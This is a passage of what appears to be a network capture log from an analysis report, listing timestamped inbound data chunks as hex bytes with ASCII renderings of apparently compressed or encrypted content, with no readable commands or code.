58 f2 a4 67 37 6c 01 6e 31 d0 f7 e8 43 9d e1 a2 53 96 78 93 f3 38 02 bd f0 2b 5f fe 7f 42 21 98 71 8c Data Ascii: Y73BLhrN3?7kV_}xCaScf%lP]r9(Ft?e5 J&O wi$QN"_6%h1:ahlt'A$Zi&48r]9J9MOh/m@*rvXg7ln1CSx8+_B!q
2023-08-02 08:13:02 UTC	1730	IN	Data Raw: 09 4f b8 85 d6 3d 26 47 2f 0e ff f4 07 13 af 1c 94 28 af 31 98 d6 b5 1a 98 7a 20 96 3e ab 0e 25 52 6a 50 c4 e4 db f0 55 ce 02 12 58 12 4e 72 24 6e c0 af e4 d1 21 a8 44 9a 4e b8 f7 b1 c9 a1 d1 15 67 f8 5e fc cd 9c d3 ff 30 a3 fd b7 02 d6 6a 76 38 30 45 ac b5 0f 82 50 37 50 61 b8 db a0 34 bf 04 93 cb ac e8 22 c4 12 8a c4 14 7f f6 20 2a d3 fc 55 40 d1 c0 ec 8e 85 c3 2a 16 53 d0 31 a1 47 5d 04 c7 cf b9 84 96 54 dd b0 0b ab ee 8e 6d 4b 1c a3 3e 8d 59 bd 8c ad a6 52 89 01 c7 ef ff 30 97 be c2 9f fe c9 04 34 5b 53 4c e0 40 68 cb 91 36 77 d6 84 67 79 56 74 45 71 3a b3 b7 18 d1 ae f8 31 74 8b a9 a2 a9 30 44 a3 be 40 c8 50 b7 99 02 d6 23 93 20 49 20 18 ee 9a 85 0c 6f 97 41 ec 90 d2 bd d1 f0 3b f6 7f 7a 25 50 12 f4 e3 3d e8 d2 e9 01 8a 42 25 06 f1 8a 98 9d bb 5a 10 Data Ascii: O=&G/(1z >%RjPUXNr$n!DNg^0jv80EP7Pa4" U@S1G]TmK>YR04[SL@h6wgyVtEq:1t0D@P# I oA;z%P=B%Z
2023-08-02 08:13:02 UTC	1746	IN	Data Raw: 67 88 65 d2 2f 8e f8 b1 a8 0d 13 6b 81 0a 5c 30 17 ce 4a 7a f7 b1 7c 6d 92 89 3a 82 f8 14 af 5a 42 34 86 bf 43 80 79 5d e3 61 96 f2 e8 62 de c1 4a 9b 1f 49 7b 7a 61 75 d7 56 98 a5 44 d9 2d 02 97 bb 37 78 8b 10 6f 21 0f e7 d3 e0 73 f1 39 80 72 f7 92 16 55 04 31 04 99 a9 73 4a 9d 6f db 36 c7 0a 48 2d c1 dd 3b cb 06 9a b0 70 a9 e5 17 28 2c 13 ca 89 bb 9a 74 b9 e5 3e da 6f ba 6f e5 27 60 b4 d1 bf ad 78 4b ce b2 13 87 a2 69 4c 39 4d 04 4d fe a4 4e a1 35 c3 81 3f b8 ae b0 a2 64 9e 56 f4 84 a2 58 e7 d4 ee 21 18 fd 76 05 ee 61 ba aa 17 c0 f2 ba 10 00 c3 dd 49 8d 9c 6c 2c f4 f8 46 08 cb 13 f8 37 8c 25 30 af 7f 44 9b 5a ef d3 b8 9e 00 87 e4 b3 19 2a 69 0a 1a 8b 57 01 50 68 88 4a c0 40 3e 96 10 60 07 96 7b 85 9c ce a1 49 d3 dc 37 ee be 3c c8 cf 9c 68 86 ae d1 c9 5b Data Ascii: ge/k\0Jz\|m:ZB4Cy]abJI{zauVD-7xo!s9rU1sJo6H-;p(,t>oo'`xKiL9MMN5?dVX!vaIl,F7%0DZ*iWPhJ@>`{I7<h[
2023-08-02 08:13:02 UTC	1762	IN	Data Raw: 85 5e cc 77 c0 21 de af 7d 33 52 ee ed c1 01 20 88 ad 46 7e 7d bf cd 0a 70 98 76 60 f9 6b 6e 29 27 8f 8b ed 8d 9e 28 8f 3f ff b5 9f 0f 5d c8 e6 d1 1e 03 fd 30 84 fd 28 ac f0 53 74 f2 ee e7 c1 98 08 f9 d6 93 9c 16 90 38 f7 f2 9b 20 48 cc 34 e0 5e db 6b bd c7 ae ef 2e b0 de 7c 34 51 25 ff 5e 09 29 b2 79 35 04 8c 57 99 51 b3 3c aa 05 46 e5 8b 83 5a 3d 41 aa 61 95 28 e2 30 69 6c 19 f1 c2 1d 3c cc 1f 1b 93 af 48 e8 ee eb 37 3f e6 86 be 55 f8 57 cf ce 23 34 22 97 d3 7f 4c 36 14 a6 bb ce 76 03 1b 0d 3d d2 36 31 92 97 c0 a3 24 e0 48 8d 43 d1 c9 65 ce aa 50 84 eb 3a f8 2a d5 f4 d3 bd f9 94 96 01 1c 10 39 a1 b9 8a 22 a1 af 29 9a df 7a 20 bc 17 71 d2 ec 25 52 74 ab 16 65 3d bb 52 4d 2e c3 71 e1 72 ad aa b4 38 bf d5 ce c4 65 23 65 9b 29 ce 7e cb 37 69 ce 75 17 a7 f1 Data Ascii: ^w!}3R F~}pv`kn)'(?]0(St8 H4^k.\|4Q%^)y5WQ<FZ=Aa(0il<H7?UW#4"L6v=61$HCeP:*9")z q%Rte=RM.qr8e#e)~7iu
2023-08-02 08:13:02 UTC	1778	IN	Data Raw: 10 a2 85 69 b1 e3 3d b8 28 b3 50 eb b7 d6 72 44 e3 df c2 05 7b 8c e5 bc de 05 2f 24 39 1c 6d 42 84 e0 5e 23 b4 b7 e3 30 7f dd 90 7f 4d 7b 4c 7f ed a9 3a 84 0c 81 29 5e 53 3f d9 a7 54 23 e9 e4 73 18 86 6c 3f 81 47 39 da ea 7b 0b e9 f7 ba e9 d2 b9 00 dd 6e b0 f0 f8 25 87 1b 08 f7 f4 c2 a9 19 2e 95 3d e7 6b 80 71 97 bb 70 c2 26 8a 82 40 19 f1 ed 3d 78 d1 8a 5c 6d ff cb 09 4b 10 2b e9 ce 0a 95 f0 a7 96 47 88 2f 36 e8 af 1a b3 9c f8 87 88 b8 5c 60 cb 19 b0 95 67 79 f9 d7 f7 5a 2a 85 9e 09 f0 69 7d 28 9b d3 bc 5c be 1c 01 c2 86 e1 98 88 ac bd 7b 62 c9 99 76 df 07 d7 6e de b1 62 d2 95 1f ad 3b 2e 04 c2 30 98 ba 93 09 79 76 14 e7 14 e4 c3 40 3d b7 fd 98 b1 3d e8 11 02 1f a2 d3 6e 0b 77 53 17 2e 2c 25 16 dc 12 27 2b af 14 9e a5 4d f9 ec a9 f9 02 c3 a7 d3 a5 d9 54 Data Ascii: i=(PrD{/$9mB^#0M{L:)^S?T#sl?G9{n%.=kqp&@=x\mK+G/6\`gyZ*i}(\{bvnb;.0yv@==nwS.,%'+MT
2023-08-02 08:13:02 UTC	1794	IN	Data Raw: b6 73 89 78 62 34 95 50 56 c6 51 56 1e 68 98 74 c0 1e 3a 40 a0 f8 0a 5a 7d db fa 79 ab 60 fb f1 c1 9e f6 ef 9b 00 ea 1b af 34 3c 65 fa f9 31 96 68 50 82 9c 23 41 3d 54 54 2b 9b 10 0c 6a be 98 71 4c 0f 44 d0 fd 20 86 28 ce 61 34 8b 1c b0 ba b2 e4 b9 09 27 68 43 55 90 3a c4 db 63 25 6b 93 2b 68 db d1 a2 36 16 8d 09 63 34 1c b2 21 30 e7 67 20 d8 a1 ff 0c ce de fe 4a 84 57 4c 0d 02 aa bb f1 51 e6 88 e9 5f 3f 27 04 b7 12 3f 37 49 2f 11 c4 2f 11 ad f5 cc 77 42 ed b9 11 43 db 64 00 3e 18 08 b5 6d 5f 1f 4f 71 cf 8b 12 00 8f 7c e4 48 3b 47 e4 07 3a 22 fb 0c 42 4e 9f 04 94 2c c7 85 b2 79 0c 5b 5c dd f8 63 cf 09 e4 e6 cf 96 97 c4 04 72 35 45 da d3 d0 31 ae 11 25 64 24 9e c6 02 c5 ec 82 6e 33 c0 71 ca f8 27 56 59 cd a4 2c 6d 32 1e 97 b2 74 ca 94 09 8e a3 4f 69 be 34 Data Ascii: sxb4PVQVht:@Z}y`4<e1hP#A=TT+jqLD (a4'hCU:c%k+h6c4!0g JWLQ_?'?7I//wBCd>m_Oq\|H;G:"BN,y[\cr5E1%d$n3q'VY,m2tOi4
2023-08-02 08:13:02 UTC	1810	IN	Data Raw: 92 4b 79 56 d8 50 91 85 58 3e ba b5 b1 90 4f af 1c 9a 99 fc 4b 07 ce bc 62 4a 6f c2 71 2e 2b ca c0 86 7c 9b 30 a8 2e 7a bd 2c 03 7e 27 9f a0 ca f4 4d 77 21 87 03 80 1a d2 24 76 b3 6c de f4 cb ec 17 a3 a3 7f 89 57 ae 58 f3 a8 a2 cc 2f ee de 64 50 41 05 96 40 f2 aa de 57 c2 62 07 d0 60 0e b3 3f ee 3f 96 7e f0 7f 9a 95 cb 58 d9 28 6b 17 1a 31 f0 27 f0 15 d3 70 fa e3 e0 39 e4 8e 69 c9 1d e7 49 45 4e 46 f6 8d a3 74 90 b2 23 d4 f0 16 b2 10 f1 13 f4 4a b2 1f 5e cd a3 f9 80 f6 ee 64 b6 f9 c0 33 f8 10 b8 a6 71 6a 37 9d 30 eb 37 f8 39 80 d1 cb 5a a2 4e 44 4f 12 28 8b cf 50 8d 6d b7 f8 85 57 1f c0 3a d3 99 a4 92 65 e3 c1 aa 9a f5 bb 9d 89 32 8d 19 ce 0a 07 55 4c 83 4c 98 c4 28 43 32 f9 28 6d ef 13 e8 b6 2d 99 3f c8 78 e8 79 45 36 10 bb fd 04 50 bb 4f 60 55 57 19 aa Data Ascii: KyVPX>OKbJoq.+\|0.z,~'Mw!$vlWX/dPA@Wb`??~X(k1'p9iIENFt#J^d3qj7079ZNDO(PmW:e2ULL(C2(m-?xyE6PO`UW
2023-08-02 08:13:02 UTC	1826	IN	Data Raw: 96 8c 94 04 67 df ed cd 94 15 08 74 26 ab b7 fa 5a 0c c6 e5 f4 53 37 d0 7e b3 49 c4 13 59 be 26 7b 66 c8 5e 60 02 d8 eb c0 c3 f4 dd 65 76 e1 d7 46 43 2b 13 f9 8b 22 f2 24 f7 9c f6 04 95 34 05 0d 7f d2 5e 04 73 48 54 9c 87 5f 17 16 c1 20 fd 49 08 98 ac 78 08 b1 bd 6e 0f 0a 17 89 ea 58 77 1b 04 a8 8c 2a 17 68 ab f5 64 1a e3 d9 cd bb d3 ae 77 05 11 b8 2d 96 04 42 bb 1d 5e 5a 36 fd a7 b3 d5 1e 47 85 33 c6 b5 3d 0a 7f 37 4e d8 24 b8 83 2a 5a 4d 54 69 24 11 ff f3 1e 4c a0 67 db 58 66 dd df 91 b4 b1 1a 3c c7 9b 77 74 ae ed cd 73 91 65 00 b6 72 25 e9 15 f2 c1 a6 05 ef 66 58 75 37 c4 28 24 a0 b6 3f 92 54 c6 6a f5 e9 15 64 bd f1 99 72 e4 1b 5a 51 4b 85 53 f8 c2 51 06 20 94 a0 7b 20 e1 22 34 b2 db 8a 88 d3 31 99 30 98 49 43 6f 56 38 79 d6 4a 98 73 f6 71 32 f1 fd b2 Data Ascii: gt&ZS7~IY&{f^`evFC+"$4^sHT_ IxnXwhdw-B^Z6G3=7N$ZMTi$LgXf<wtser%fXu7($?TjdrZQKSQ { "410ICoV8yJsq2
2023-08-02 08:13:02 UTC	1842	IN	Data Raw: 97 3a 93 62 a0 d0 05 5c c0 9a 78 ac 21 3c 1a e0 16 2b ee 8f f8 5c 2c 58 c6 21 b8 78 52 b7 dc 9b d8 a0 03 ac 2c df 4a 47 b6 73 dd 2d d6 c7 d7 ec 4b b7 ce fa ec ea 36 29 8f 40 e1 f8 d9 2b 1b 1e d3 33 c2 53 0e 3c 03 68 17 d3 b7 71 72 42 5e 21 4c 09 fb 4d c8 40 0f 22 ba 8a d6 99 b4 5e f7 21 5a 89 2b e6 10 2b fb a9 c0 c9 6e b7 48 91 1e 7a 92 89 4e 41 bd da 64 54 b1 1a 89 76 0b 6d cf ab 09 57 30 3a 4e 80 94 b2 c7 7f 8e aa 7d 85 ff cf 2f a5 81 cc b6 e8 36 2c db 33 6a 8b df f4 a8 d3 26 af bf a8 15 4e 12 0f 83 04 e1 30 99 b4 73 b6 3e fc 90 5a 3e c2 2e 9e 50 6d 94 97 18 cd e3 81 27 2f 24 ae 72 65 b9 19 4e 47 c2 d2 c9 f5 6b 64 eb b9 bb 86 7f f8 a5 a6 f5 36 78 c6 2a 81 fc 14 2e ca 2d c2 3e 06 99 a5 76 03 97 54 89 b7 be c4 e9 92 56 d1 f3 53 a2 3a df 31 eb dc 20 59 41 Data Ascii: :b\x!<+\,X!xR,JGs-K6)@+3S<hqrB^!LM@"^!Z++nHzNAdTvmW0:N}/6,3j&N0s>Z>.Pm'/$reNGkd6x*.->vTVS:1 YA
2023-08-02 08:13:02 UTC	1858	IN	Data Raw: 68 8c a8 f8 14 10 34 92 48 e0 d3 cf 11 a2 e1 dc fd 51 01 40 2c c0 d2 3f 52 d2 ea c6 c3 33 45 23 a1 b5 70 16 88 8a e0 28 e9 df de 0f 7a b3 c1 6d 97 2c d9 9b 73 46 8a 6d 5b e3 8a 10 5e 81 a0 cc ae 18 7e 58 b1 64 1f 31 68 d0 53 d0 5b f2 25 16 ef d6 52 e2 f0 d2 39 e2 d2 fe 28 4c 9c 0d 8d 52 62 b3 e1 c6 b0 1d b7 da 47 12 34 d1 40 03 f3 2e bd bb 28 6d 85 c5 ac ee 06 06 26 96 e5 ac 98 d2 23 e1 69 8c b4 e5 e3 01 da d8 70 15 ed 94 65 6f fc 52 0f 3f e2 c5 af c4 fc 65 92 3e a7 5e 9f b6 f5 59 69 24 f7 47 25 df 67 f6 f8 23 11 81 a8 28 34 65 df 4f b2 6b 08 ce 71 46 07 b8 d5 c4 93 48 54 58 2a 89 53 e7 15 8b 02 b6 15 0b 29 95 f9 72 64 7d 8f bb 4d 41 52 4e 6a 04 26 61 2a 87 60 b0 7c 8b 5b 8a de e7 6a b7 02 34 a3 89 9e c6 cf e5 82 6d 13 d5 be 90 dd 0d 33 76 83 51 b4 0c b0 Data Ascii: h4HQ@,?R3E#p(zm,sFm[^~Xd1hS[%R9(LRbG4@.(m&#ipeoR?e>^Yi$G%g#(4eOkqFHTXS)rd}MARNj&a`\|[j4m3vQ
2023-08-02 08:13:02 UTC	1874	IN	Data Raw: f5 86 32 cd cd ba a3 d8 29 48 da 17 01 7d 65 2a 93 79 2d 92 98 0d 0f 7a b4 f2 b1 4f cd 43 77 36 e1 bf 17 86 91 53 a7 f8 39 9a 40 78 7b 8a 33 67 08 f2 46 bb 10 1f 83 8b 34 dc 50 11 62 eb bf 9d 37 94 55 1b ec 83 c2 27 a4 f1 4a 2e 02 e4 8e 5d 1a 2a 50 1a de 01 d3 7e d2 b1 51 5e 3c c7 10 7d 9c ab 23 2b 86 c2 28 59 c0 99 5f b9 5a e1 11 43 5a df 73 ee d7 01 78 46 8e 38 87 85 57 b3 38 79 a8 57 c3 20 9a ff 6f ee a2 c5 d0 70 68 02 2d a2 44 54 29 c1 f0 13 ac 49 2a b0 68 bd cc ab 4e 18 35 25 42 3f 99 27 03 6a 28 93 a9 dd 08 0a be 6f f5 cc 79 98 a9 98 66 78 c6 60 b3 b6 65 ed fb 88 bd 00 15 7e 2b ba a5 4d 48 38 41 c9 2a 78 22 3b c1 2f 34 aa ef 9d 5e 51 98 fe 4c ad ce 88 2b bf bf 10 12 3e b7 55 ce 4c 9a 4b 74 94 7d c0 a7 85 76 ec 18 7f ec 5b 3d d6 fc 2a 2f 61 9f 33 b1 Data Ascii: 2)H}ey-zOCw6S9@x{3gF4Pb7U'J.]P~Q^<}#+(Y_ZCZsxF8W8yW oph-DT)IhN5%B?'j(oyfx`e~+MH8Ax";/4^QL+>ULKt}v[=*/a3
2023-08-02 08:13:02 UTC	1890	IN	Data Raw: d9 33 d8 8e 7d 8e 1b 4c 5e 75 de 55 8c 64 aa 49 15 53 21 d7 eb b8 8b 23 ef e8 45 46 4d 9f d8 0f 52 fe be 5a 15 eb bd 62 49 3b de 45 61 26 f9 67 52 76 f5 7a 78 58 b1 cd 22 ad 61 59 b6 51 8b 46 ee 0c ef cc 15 ed ac b2 1d a4 20 85 91 32 8c 6d cc b7 63 73 34 a3 a3 c1 e3 bd 2f 33 d4 22 15 2f b2 b9 1a 16 8e 1a 90 9a 12 d3 87 4d ac dd d8 85 44 78 45 75 59 40 ca dc 6d e4 88 cd 79 8d 6f 48 06 b0 88 69 38 99 b1 c8 81 da c9 4f 9c 59 8a df 8f 2a e7 0b 60 4f 72 c8 a6 93 68 0b 6e 01 a0 b3 bb 6c 7d 4e 17 b3 6f 9b 55 34 9b a0 3c 92 50 f5 78 fe bd a0 3d b7 b0 f0 9c fe a8 11 24 03 d2 c3 80 9e 9a 0d c5 06 40 c6 0b 5b c0 60 c5 4e 3b a7 98 f7 6e 3f ca 27 81 8f fc 82 5c 89 64 ff c0 81 8c 12 7c 7a 93 7e 68 04 49 1f 29 e3 9e dc c6 98 80 70 a0 c6 b0 ed 20 e4 9c a8 1b b0 3f 04 dc Data Ascii: 3}L^uUdIS!#EFMRZbI;Ea&gRvzxX"aYQF 2mcs4/3"/MDxEuY@myoHi8OY*`Orhnl}NoU4<Px=$@[`N;n?'\d\|z~hI)p ?
2023-08-02 08:13:02 UTC	1906	IN	Data Raw: 50 54 d5 39 eb e3 b2 b6 1d 95 f5 af da dc 19 25 ad aa b1 63 2d c0 7a 26 ab 3e f3 7c 7d 4e 3b 48 27 ee 26 04 ae 7b da 24 37 f4 fb ff 10 f7 f4 0f 62 9e 1f 97 6f 4a bd ed 44 f6 30 6d c2 c7 70 74 65 68 d6 df 21 52 df 58 ac 02 4f d7 94 fb ec 74 5b 9f ab 27 46 87 18 10 7e ce be de 7b a4 c5 0c d6 19 ee f7 00 25 ac d0 74 f1 06 2d 00 08 73 af c0 14 0c 65 f2 a4 3c c0 a5 db 10 f5 29 85 8b 24 f6 af c9 ca 6f cb 98 bd 99 4f 5c cd 3d 8a 60 01 6a d2 ef a5 7e 38 b2 52 56 5e 53 ff c8 b8 e3 75 fb cf 52 66 ee d3 ad 7d 95 49 a3 8e 4e 3e b1 4a 7e fe ad 7b 4b 8d 78 a1 13 4c e9 cf 12 3f 65 16 2b 54 41 a1 58 cf 2f 68 55 9c c6 96 4b be bf 60 10 5a bf ed 98 f2 34 eb 00 c6 72 f5 06 24 da f9 ea 81 5c 02 6d 0b a7 d6 35 3b f2 24 5a bf 8d 0c a0 d9 d3 36 07 09 26 66 9f bc 56 5f 00 7b a2 Data Ascii: PT9%c-z&>\|}N;H'&{$7boJD0mpteh!RXOt['F~{%t-se<)$oO\=`j~8RV^SuRf}IN>J~{KxL?e+TAX/hUK`Z4r$\m5;$Z6&fV_{
2023-08-02 08:13:02 UTC	1922	IN	Data Raw: 5f a4 2c 38 42 12 4d 13 a4 7d 1a 88 10 23 1b 13 c9 72 a5 93 a8 f5 f8 65 b2 f0 07 31 83 ba fa a5 60 73 94 fe 27 63 7a 78 ad 98 ea 0e 4c 14 1e 84 8c bf 90 de 1e 3c 50 5c 8b 71 cf 11 b0 47 a1 f8 5d 06 04 f8 fe bd 95 cd 00 86 1e 33 7a 7c 22 c3 26 20 38 2a be e7 e3 59 33 78 1c 8c b4 46 fc 08 e8 c2 ad e6 f6 2a ae 9c b2 65 ed 73 9b c5 3d 0e ba 09 18 8f 47 f0 ae eb a4 84 e9 88 69 e6 db bb f0 f7 93 55 43 b9 dc 0a 95 47 0f d5 d2 ca f8 60 67 ff 4d 97 0c ac 87 bf ee 43 79 37 50 7d 7b 60 13 7f be 9a f5 0e 96 48 f0 79 f8 07 de dd 74 e9 40 5b 6c 47 0f 5a 66 c3 e9 d0 02 a9 d6 5a 18 cf 95 ac 44 1d ed b9 16 a3 2e 54 56 e5 89 36 a3 c6 a9 9b 42 be 1b 17 ed 9d c3 80 21 3b 45 65 f4 9a 2a 02 03 00 b3 ff e4 24 de c8 e6 c8 49 72 77 0a 16 24 bb 90 ac dd 75 65 9d 1e a2 15 7d 9f 01 Data Ascii: _,8BM}#re1`s'czxL<P\qG]3z\|"& 8Y3xFes=GiUCG`gMCy7P}{`Hyt@[lGZfZD.TV6B!;Ee*$Irw$ue}
2023-08-02 08:13:02 UTC	1938	IN	Data Raw: 57 0e 14 43 3f 14 eb db 00 b6 54 cf 1b 55 b7 c5 86 a7 d7 3d 39 9b a7 0e 48 72 78 82 82 6b 46 9f 90 31 9c 80 2d 06 8b b9 de 54 bd ec bb 31 6b b4 5b 10 f5 f4 cf 9b 69 05 12 b4 26 df 87 4d 9f d8 1a 2b 69 da e3 13 70 e6 2f b9 d8 60 5b 66 b5 8a 8c 4d 44 e4 a3 af 16 06 bf ef 01 26 4b 70 66 76 a0 9b 01 b8 0e b8 af 17 7c f7 5f 92 f3 4a 5b 4a df 4f 09 f7 cf eb 1c f2 49 06 a7 51 a2 c4 e7 b1 9e b1 71 b9 47 b9 3e 53 18 21 10 40 15 c3 08 2a 7f 74 46 bb 1a f9 28 f6 ca c6 42 93 e6 47 fc 2f 64 a5 51 e0 b3 1d 25 ef 7d 9f e4 2b 87 1c 16 25 12 14 ba 58 d3 d4 e1 f2 96 4a 51 ff ee 62 05 02 26 04 7f 71 a4 64 ed b9 7f 8d 65 37 09 06 8f e7 71 32 a6 db c1 eb 3b a1 a6 4b de 15 97 c4 4a 21 90 49 8e dc c9 26 8e 6e b2 fb 6f f1 aa 17 be d9 4f ea d2 f6 fa 33 53 f9 e3 b8 c8 9f 87 c9 92 Data Ascii: WC?TU=9HrxkF1-T1k[i&M+ip/`[fMD&Kpfv\|_J[JOIQqG>S!@*tF(BG/dQ%}+%XJQb&qde7q2;KJ!I&noO3S
2023-08-02 08:13:02 UTC	1954	IN	Data Raw: e8 d7 a8 35 ae 34 e1 9c 90 3f 2d a0 51 b8 8a 80 42 c4 ce c7 45 cb 5c da 71 39 ae 81 86 64 35 b0 1c 70 95 f7 56 88 2c bd 74 f2 82 4f 05 eb 81 19 a0 96 74 1b bb 92 18 ef 6b 42 48 49 f9 39 03 0f 12 c4 8e 98 af 1d 1d 94 46 72 f5 03 e7 86 3a f0 15 70 d4 c9 5f 90 ac fa 22 35 8d 4a c8 3f e4 48 51 73 a6 f0 20 c2 76 2b 5c 9b 14 06 cc d6 89 c7 c7 0f b8 3e 24 29 0a b9 2e 2d e5 00 51 3c b7 ba fb 93 b7 85 c1 75 ef 93 ae bc 0d 0c b9 9b 91 0f e2 7b 64 08 33 9f bf 8e 97 d7 f7 14 1d a3 d2 c2 2f ad b0 97 e0 ff 14 3a 2c 60 09 a3 9b 5f aa 65 66 89 cb a4 b5 14 ae a4 e7 3c a5 d5 87 06 45 76 18 c1 df f9 ef 57 12 8a 1f cb f8 28 ed b4 05 32 d8 ab cc 87 79 e3 6d 82 ab eb e4 f7 6d 5a ea 63 23 6a c8 4e 18 14 78 69 82 c5 09 55 d1 36 61 9a 65 2a 54 60 3c 16 3a e3 ff d0 75 94 f0 61 c3 Data Ascii: 54?-QBE\q9d5pV,tOtkBHI9Fr:p_"5J?HQs v+\>$).-Q<u{d3/:,`_ef<EvW(2ymmZc#jNxiU6ae*T`<:ua
2023-08-02 08:13:02 UTC	1970	IN	Data Raw: 88 cb 93 af 4b bd cd 50 04 c7 33 70 b8 9d 45 01 fc 34 8b 5b 6a 38 17 2e cf 35 3d e9 77 28 8a cc 39 fd 9f 94 fa 15 09 92 e7 33 85 ae bd 62 eb 7e e5 4a 54 9d 8d 37 eb 33 9c bf ec 92 5f 28 f4 fa ad bf b3 c3 53 6f 16 83 2f 0a 05 2e 90 31 5b e9 1f b4 1f 36 66 c1 38 fb 4c 3d f4 1d 32 b5 ce 02 31 14 e4 ec 95 07 3a 2c 2f d9 d3 9c 27 5f 9e 9f ec 08 d3 0b da fd 4f 8d 31 5a 26 fa 7f 30 ca 0f 70 9c f1 f8 5b ea e6 23 73 19 fe 99 67 b9 04 c8 de e3 80 fd 3b 69 d3 39 cf a8 7c 3e 3f 16 99 90 3a f2 77 5e 52 e3 83 4c ff 75 be 68 e0 4e 39 fa 76 71 86 82 b9 69 30 d5 6a 63 68 8e 63 5a 08 68 2d bc 61 b3 f3 86 47 c3 d2 57 be da d2 20 39 6b 18 30 1f 0f 22 a2 3d c5 2c 38 05 71 84 76 e7 69 14 f7 bb 5c 5e 1c f2 10 4d 9a 2e 4e df 71 00 75 f2 dd 9a d8 18 e6 99 d5 d7 be df 7b 22 02 ff Data Ascii: KP3pE4[j8.5=w(93b~JT73_(So/.1[6f8L=21:,/'_O1Z&0p[#sg;i9\|>?:w^RLuhN9vqi0jchcZh-aGW 9k0"=,8qvi\^M.Nqu{"
2023-08-02 08:13:02 UTC	1986	IN	Data Raw: 64 02 bd 4b 1f 26 f3 00 53 15 f0 17 92 84 59 ee 80 95 1b 44 c4 9b 18 d7 ad 88 2f b5 23 86 d4 e6 4e da 55 ac f7 e9 00 e7 0a fc 53 f7 c6 0c c1 ca 6a 15 bd 0c 81 3d 54 91 e1 b7 9f ef 9b be 83 c4 94 d1 f5 75 62 6b a4 e9 d0 d8 01 5c ce 4c 87 41 a0 df e9 3e ed 61 b0 b2 37 cf 62 d1 db 21 db 25 18 69 c2 28 27 cb f3 69 07 6c a9 e4 19 c1 4e 0a a5 48 4c 51 fd 35 70 fa 31 fa 44 58 a2 30 a2 00 b7 fc cb dc 8f 71 81 bf a3 23 1e 9f 66 24 ec 0c 32 d3 97 61 6a d1 87 4c de e4 3d a5 f4 37 81 fe f5 fc ea 5e 87 f8 2a 61 0b fb f9 71 fc 56 fd 1e 6c 66 0e 96 62 c9 cb b5 93 96 c1 0c c1 9f 49 24 3d 12 49 65 25 0f 03 06 1c a3 78 f9 73 d5 c1 10 09 58 68 a9 3d 89 07 d4 ba 78 77 44 54 ae 01 cc e5 fc 4f 92 49 9b 4a 79 e0 6f 8a 5a d1 db a5 05 82 dc 29 9d b1 e1 26 52 ab 3d a6 dd 16 ef 77 Data Ascii: dK&SYD/#NUSj=Tubk\LA>a7b!%i('ilNHLQ5p1DX0q#f$2ajL=7^*aqVlfbI$=Ie%xsXh=xwDTOIJyoZ)&R=w
2023-08-02 08:13:02 UTC	2002	IN	Data Raw: 5a 4d f7 21 ed 14 79 b4 f5 7d 6f b6 8b ed 30 bc a1 d2 94 91 98 86 d9 45 0c 8e cb 6c fe d0 28 6f de fa 99 09 94 0d 79 f4 5a 42 d7 6f 01 37 39 63 29 54 c6 fc 96 6c a0 be ae cc 44 cf d6 d1 ba d7 e8 80 60 ff 73 78 6a b1 44 09 51 2e 47 9b b6 8d cd 19 9d aa 2c 33 3b b8 81 e0 76 5d 74 5f 56 64 ca 50 c9 1f e0 18 4b 2f ff 20 c0 7c f7 25 a4 48 f1 ce 64 ba 81 4b a2 10 9f e1 30 be b7 22 e8 b9 05 a1 e5 03 08 ef 42 5f c0 79 1d f0 57 37 fd de 51 60 bd b9 13 a1 f6 4c 53 ac 08 e0 a0 97 11 c3 c4 3f 5e 63 bb ef bc f5 df 4c e1 fb 30 e6 90 be f6 9f 7f 71 23 2c 28 70 13 c9 30 47 fd a4 d6 b3 98 15 7d f6 1d 2a 7f ca 41 e4 36 67 0f 89 b4 e4 ff 91 7e 63 d4 40 28 fa 0b 6a 57 20 8b 91 bc 2d 7b ee 25 3e 82 08 cc c4 3b 0b 87 81 5e 11 04 59 6d 9e e2 8c ac 4b fb 26 f8 17 f7 bd e9 a0 0d Data Ascii: ZM!y}o0El(oyZBo79c)TlD`sxjDQ.G,3;v]t_VdPK/ \|%HdK0"B_yW7Q`LS?^cL0q#,(p0G}*A6g~c@(jW -{%>;^YmK&
2023-08-02 08:13:02 UTC	2018	IN	Data Raw: 0f 31 bc d5 3a ac be de 14 f2 c0 23 3f 2c b4 a6 1b 81 73 58 bc 3f 37 90 4c 75 00 99 12 47 db e2 7e b8 63 d7 b6 21 ee 86 e5 df 18 ab b4 f1 8b 4d 0f c9 8c 47 d3 89 f6 cb 04 ff ee df 23 76 33 d6 16 66 88 f2 ed 29 bd ca 2b 61 4b c8 36 2e c9 37 18 b5 f9 8b ba d8 c1 bd 12 f0 3c 1f 22 df 89 56 b5 f6 b5 ad 02 ad 94 35 b1 89 f8 8c bf 11 7f e8 d6 5d d7 1f 86 4f 24 ec 77 a7 f2 de 50 19 77 ce ee e0 c6 76 11 23 f3 fa ca 88 30 36 92 e7 61 7a f3 5b 91 44 f0 5a 67 45 22 86 7b 4c bf 30 47 27 bf a3 db 48 23 61 bc 2c 34 83 75 e6 5c fe 64 37 39 3e 3e 72 a5 f0 76 da 8a c4 16 62 f6 de 5f f4 e7 c9 95 e1 d0 b7 38 69 74 ed 0d e5 ef 39 35 48 ba b0 81 cc d2 c1 87 f3 2d 9f ba 43 15 ea 7f 18 6f ac 3b 47 9d 2e 31 4a 32 98 2c a5 70 de ce c2 6c a3 8a 30 f7 80 08 73 74 22 c6 e0 61 de 45 Data Ascii: 1:#?,sX?7LuG~c!MG#v3f)+aK6.7<"V5]O$wPwv#06az[DZgE"{L0G'H#a,4u\d79>>rvb_8it95H-Co;G.1J2,pl0st"aE
2023-08-02 08:13:02 UTC	2034	IN	Data Raw: 40 df 00 6e 9e 7d 08 4b d0 d8 f2 ae d3 e3 15 48 c8 3b 53 89 d9 da 02 70 54 3e a3 a2 c0 e7 9b 54 a3 74 60 44 66 cc 79 a6 8b 90 ca bf ff 30 28 e0 13 2e 3f 2e 9b 53 5b b1 f1 8c e7 4c 3a 27 16 d3 cc b2 02 1a 31 00 df 35 74 e2 33 db 79 ad 86 64 78 e7 dc 47 ae 77 9d 50 fe df 81 54 ee c5 df 39 60 55 90 86 99 d0 c5 e8 39 6f a7 0d 49 7b e1 6a f2 00 b1 c1 37 69 13 56 37 81 a9 1d 38 24 87 d5 b1 44 bf 96 3d 56 f4 32 11 74 49 c8 af 3a bd 06 59 82 ef 2c fb 7d 6f de b9 17 9a c9 be 15 91 fc 14 2e b1 64 7d 9b 81 6a 8f 0c e7 50 d8 d3 b0 27 bd ee b3 78 3c 69 19 24 4b aa 16 e2 1c c5 d0 19 00 de 21 9d 62 d9 05 89 9a 7c bf 81 4b 64 1e 01 7b 85 e2 dc 